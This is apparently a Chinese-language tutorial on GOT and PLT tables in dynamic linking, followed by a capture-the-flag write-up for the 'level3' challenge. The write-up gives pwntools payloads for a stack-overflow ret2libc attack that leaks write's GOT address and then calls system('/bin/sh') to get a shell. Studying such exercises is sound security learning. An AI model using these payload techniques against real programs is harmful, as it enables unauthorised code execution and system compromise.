GOT表和PLT表
GOT表和PLT表
一. 引入目地
操作系统通常使用动态链接的方法来提高程序运行的效率。在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。这样的设计就能提高程序运行的流畅度,也减少了内存空间。而且现代操作系统不允许修改代码段,只能修改数据段,那么GOT表与PLT表就应运而生。
二. 使用方法
plt表为(Procedure Link Table),是程序链接表。而got表为(Global Offset Table),是一个存储外部库函数的表,全局偏移表。
当程序在第一次运行的时候,会进入已被转载进内存中的动态链接库中查找对应的函数和地址,并把函数的地址放到got表中,将got表的地址数据映射为plt表的表项;在程序二次运行的时候,就不用再重新查找函数地址,而是直接通过plt表找到got表中函数的地址,从而执行函数的功能了。
三. 利用got表和plt表进行攻击
例题1:攻防世界 level3
1. 获得glibc库当中的相对偏移地址
-
获得函数相对地址
from pwn import * elf = ELF(libc_32.so.6 相对于 py 文件的位置) print(hex(elf.symbols['system']-elf.symbols['write'])) # 这里就是为了获得符号表中system函数和writes函数之间的偏移地址
-
获得字符串相对地址
要获得字符串 "/bin/sh" 相对于 write 的位置,可以使用 strings 工具来执行
strings -at x libc_32.so.6|grep /bin/sh
来获得字符串的地址,或者使用 ROPgadget 工具来执行ROPgadget --binary libc_32.so.6 --string "/bin/sh"
命令,两个工具的使用方式这里不做介绍;拿到地址后,减掉 write 的地址获得相对位置 0x84c6b。
2. 得到write函数的地址
执行write函数,利用栈溢出将eip指针指向write函数在plt表当中的表项,由于x32下是通过栈传参,所以可以直接使用栈进行传递参数。
payload = b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])
+p32(10)
#b'0'*0x8c用于填充栈,p32(elf.plt['write'])用于修改eip,b'0000'是函数结束后的
#返回地址
#p32(1)+p32(elf.got['write'])+p32(10)用于write函数传参
但是这样还不够,我们之前说,由于开启了 PIE 和 ASLR ,库函数每次的地址都会改变,所以这次获得的地址在下一次运行时就没有意义,为此我们需要在获得函数地址后控制程序的执行流,让它回到 read 的地方,从而使我们能够输入另一条 payload 来获得 shell;不过其实回到 main 也可以,所以上面 b'0000' 的部分需要被改为
p32(elf.symbols['main'])
。因为在调用函数的时候是先传参最后再使用call指令push下一条指令,所以之前的b'0000'就是返回地址,现在把它改了,改成main函数的地址,这里也是使用符号表得到地址。
这样以后,我们通过 u32(p.recv()[:4])
即可获得 write 的地址,u32 可以看作是 p32 的逆操作,它的参数 p.recv()[:4] ,是取输出的前 4 个 byte,因为在 32 位程序中,地址只需要 4 个 byte 来表示。
3. 执行函数
获得 write 的地址后,我们可以根据上面计算得到的相对地址获得 system 和 “/bin/sh” 的地址,从而构造第二个 payload 为
b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)
,这里我们只关心获得的 shell ,因此返回地址就写 0000 了。这里就是调用system函数了,得到flag。
四. 参考文章:
- got表和plt表在程序执行过程中的作用-腾讯云开发者社区-腾讯云 (tencent.com)
- 深入了解GOT,PLT和动态链接 - 有价值炮灰 - 博客园 (cnblogs.com)
- Anatomy of a Program in Memory | Many But Finite
- 攻防世界PWN题 level3 - 愚人呀 - 博客园 (cnblogs.com)